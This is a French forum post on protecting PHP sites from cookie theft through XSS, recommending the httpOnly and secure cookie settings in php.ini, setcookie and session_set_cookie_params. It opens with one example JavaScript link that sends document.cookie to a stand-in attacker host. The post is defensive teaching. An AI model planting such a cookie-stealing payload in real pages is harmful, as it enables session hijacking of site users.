Comment se protéger contre les failles xss par vol des cookies en php version >= 5.2

[rodrigue daniel]

Salut

Je partage avec vous une petite astuce sur la protection contre les failles XSS exploitant les cookies.
Je me penche beaucoup plus sur la protection contre l'exploitation des failles XSS par le vol des cookies.

Exemple d'un script javascript pour voler les cookies dans une failles XSS :

<a href="#" onclick="window.location='http://site.pirate.zombie/informations.php?infoCookie='+encodeURI(document.cookie); return false;">Cliquer ici</a>

"informations.php" est une page php hébergée dans le site du pirate. La fonction "encodeURI(uri)" pour l'encodage.
On crée un événement click dans un lien qui va diriger les informations (cookie) dans une page php et ensuite on bloque l'action par défaut de cette événement avec "return false;"

- Méthode de protection permanente
Une manière plus simple est de configurer le fichier "php.ini" afin d'activer certaines directives très importantes :

session.cookie_secure = True

pour obliger la transmission des cookies sur des connexions sécurisées. (protocole HTTPS)

session.cookie_httponly = True

pour protéger les cookies contres la manipulation frauduleuse des scripts (script javascript).

- Méthode de protection temporaire (relative à une page php)
On les codes suivantes :

<?php setcookie('rodrigue', 'daniel', time() + 365*24*3600, null, null, false, true); ?>

Pour des cookies simples (celles qui ne sont pas des cookies de session). Le dernier paramètre est à "true".

<?php
session_set_cookie_params(... , ... , ... , TRUE, TRUE);
session_start();
?>

Pour des cookies de session de manière temporaire (lors de la navigation). L a fonction session_set_cookie_params() permet de configurer les paramètres d'une cookie de session. Toutefois le premier TRUE nécessite une connexion sécurisée en HTTPS. Si on a uniquement HTTP, il faut l'omettre. Et le deuxième TRUE permet d'activer l'option httpOnly. J'ai laissé les autres options pour m'intéresser sur l'essentiel (option de sécurité).

Mais apparemment (lecture dans un article) avec httpOnly, en lisant les requêtes XMLHttpRequest, on peut contourner l'option "httpOnly"

QUESTION EN SUSPEND : COMMENT FAIRE SI LE PIRATE EFFECTUE LA LECTURE DES REQUËTES XMLHttpRequest DANS UNE FAILLE XSS ?

Référence : http://php.net/manual/fr/session.configuration.php

MERCI